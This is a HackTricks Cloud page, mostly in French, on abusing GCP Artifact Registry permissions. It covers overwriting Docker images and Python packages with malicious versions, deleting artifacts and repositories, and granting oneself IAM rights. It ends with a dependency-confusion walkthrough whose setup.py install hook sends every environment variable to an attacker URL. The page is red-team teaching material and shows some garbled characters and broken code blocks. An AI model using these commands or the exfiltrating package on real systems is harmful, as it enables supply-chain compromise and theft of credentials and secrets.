GCP - Artifact Registry Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Artifact Registry
Pour plus dâinformations sur Artifact Registry, consultez :
artifactregistry.repositories.uploadArtifacts
Avec cette permission, un attaquant pourrait téléverser de nouvelles versions des artefacts contenant du code malveillant, comme des images Docker :
Téléverser une image Docker vers Artifact Registry
```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockertag the image to upload it
docker tag
Upload it
docker push
</details>
> [!CAUTION]
> Il a Ă©tĂ© vĂ©rifiĂ© qu'il est **possible d'uploader une nouvelle image docker malveillante** avec le mĂȘme nom et tag que celle dĂ©jĂ prĂ©sente, donc la **ancienne perdra le tag** et la prochaine fois que l'image avec ce tag sera **tĂ©lĂ©chargĂ©e, la malveillante sera tĂ©lĂ©chargĂ©e**.
<details>
<summary>Téléverser une bibliothÚque Python</summary>
**Commencez par créer la bibliothÚque à téléverser** (si vous pouvez télécharger la derniÚre version depuis le registry vous pouvez éviter cette étape):
1. **Configurez la structure de votre projet**:
- Créez un nouveau répertoire pour votre bibliothÚque, par ex., `hello_world_library`.
- à l'intérieur de ce répertoire, créez un autre répertoire avec le nom de votre package, par ex., `hello_world`.
- Dans le rĂ©pertoire de votre package, crĂ©ez un fichier `__init__.py`. Ce fichier peut ĂȘtre vide ou contenir des initialisations pour votre package.
<details>
<summary>Créer la structure du projet</summary>
```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
- Ăcrivez le code de votre bibliothĂšque:
- Dans le répertoire
hello_world, crĂ©ez un nouveau fichier Python pour votre module, par ex.,greet.py. - Ăcrivez votre fonction âHello, World!â :
Créer le module de la bibliothÚque
# hello_world/greet.py
def say_hello():
return "Hello, World!"
- Créez un fichier
setup.py:
- à la racine de votre répertoire
hello_world_library, crĂ©ez un fichiersetup.py. - Ce fichier contient les mĂ©tadonnĂ©es de votre bibliothĂšque et indique Ă Python comment lâinstaller.
Créer le fichier setup.py
# setup.py
from setuptools import setup, find_packages
setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
Maintenant, téléversez la bibliothÚque :
- Construisez votre package:
- Depuis la racine de votre répertoire
hello_world_library, exécutez :
Construire le package Python
python3 setup.py sdist bdist_wheel
- Configurez lâauthentification pour twine (utilisĂ© pour tĂ©lĂ©verser votre package):
- Assurez-vous dâavoir
twineinstallé (pip install twine). - Utilisez
gcloudpour configurer les credentials :
Téléverser le package avec twine
```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://- Nettoyer la compilation
Nettoyer les artefacts de compilation
```bash rm -rf dist build hello_world.egg-info ```Caution
Il nâest pas possible de tĂ©lĂ©verser une bibliothĂšque python avec la mĂȘme version que celle dĂ©jĂ prĂ©sente, mais il est possible de tĂ©lĂ©verser des versions supĂ©rieures (ou dâajouter un
.0Ă la fin de la version si cela fonctionne â pas en python cependant â), ou de supprimer la derniĂšre version et dâen tĂ©lĂ©verser une nouvelle avec (nĂ©cessiteartifactregistry.versions.delete):Delete artifact version
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
artifactregistry.repositories.downloadArtifacts
Avec cette permission, vous pouvez télécharger des artifacts et rechercher des informations sensibles et des vulnérabilités.
Download a Docker image:
Télécharger une image Docker depuis Artifact Registry
```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockerDowload image
docker pull
</details>
Télécharger une bibliothÚque **python** :
<details>
<summary>Télécharger une bibliothÚque **python** depuis Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
- Que se passe-t-il si des registres distants et standards sont mĂ©langĂ©s dans un registre virtuel et quâun package existe dans les deux ? Consultez cette page:
GCP - Artifact Registry Persistence
artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)
Supprimer des artefacts du registre, comme des images docker :
Supprimer une image Docker depuis Artifact Registry
```bash # Delete a docker image gcloud artifacts docker images deleteartifactregistry.repositories.delete
Supprimer un dĂ©pĂŽt complet (mĂȘme sâil contient du contenu) :
Supprimer le référentiel Artifact Registry
``` gcloud artifacts repositories deleteartifactregistry.repositories.setIamPolicy
Un attaquant disposant de cette permission pourrait sâaccorder des droits pour effectuer certaines des attaques sur les dĂ©pĂŽts mentionnĂ©es prĂ©cĂ©demment.
Pivoting to other Services through Artifact Registry Read & Write
- Cloud Functions
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. Jâai essayĂ© de modifier lâimage avec une nouvelle, et mĂȘme de supprimer lâimage actuelle (et lâimage cache) et rien nâa changĂ©, la Cloud Function continue de fonctionner. Par consĂ©quent, il pourrait ĂȘtre possible dâabuser dâun Race Condition attack comme avec le bucket pour changer le conteneur docker qui sera exĂ©cutĂ© mais seulement modifier lâimage stockĂ©e ne permet pas de compromettre la Cloud Function.
- App Engine
Even though App Engine creates docker images inside Artifact Registry. Il a Ă©tĂ© testĂ© que mĂȘme si vous modifiez lâimage Ă lâintĂ©rieur de ce service et supprimez lâinstance App Engine (donc une nouvelle est dĂ©ployĂ©e) le code exĂ©cutĂ© ne change pas.
Il pourrait ĂȘtre possible quâen rĂ©alisant une Race Condition attack comme avec les buckets il soit possible dâĂ©craser le code exĂ©cutĂ©, mais cela nâa pas Ă©tĂ© testĂ©.
artifactregistry.repositories.update
An attacker does not need specific Artifact Registry permissions to exploit this issueâonly a vulnerable virtual-repository configuration. Cela se produit lorsquâun dĂ©pĂŽt virtuel combine un dĂ©pĂŽt distant public (p. ex., PyPI, npm) avec un dĂ©pĂŽt interne, et que la source distante a une prioritĂ© Ă©gale ou supĂ©rieure. Si les deux contiennent un package portant le mĂȘme nom, le systĂšme sĂ©lectionne la version la plus Ă©levĂ©e. Lâattaquant nâa quâĂ connaĂźtre le nom du package interne et ĂȘtre capable de publier des packages dans le registre public correspondant.
With the artifactregistry.repositories.update permission, an attacker could change a virtual repositoryâs upstream settings to intentionally create this vulnerable setup and use Dependency Confusion as a persistence method by inserting malicious packages that developers or CI/CD systems may install automatically.
The attacker creates a malicious version of the internal package in the public repository with a higher version number. For Python packages, this means preparing a package structure that mimics the legitimate one.
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
Un fichier setup.py est ensuite créé, contenant du code malveillant qui sâexĂ©cuterait lors de lâinstallation. Ce fichier doit spĂ©cifier un numĂ©ro de version supĂ©rieur Ă celui du dĂ©pĂŽt privĂ©.
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
Construisez le package et supprimez le wheel afin de garantir que le code est exĂ©cutĂ© lors de lâinstallation.
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
Téléversez le paquet malveillant dans le dépÎt public (par exemple, test.pypi.org pour Python).
pip install twine
twine upload --repository testpypi dist/*
Lorsquâun systĂšme ou un service installe le package en utilisant le dĂ©pĂŽt virtuel, il tĂ©lĂ©chargera la version malveillante depuis le dĂ©pĂŽt public plutĂŽt que la version interne lĂ©gitime, car la version malveillante a un numĂ©ro de version supĂ©rieur et le dĂ©pĂŽt distant a une prioritĂ© Ă©gale ou supĂ©rieure.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

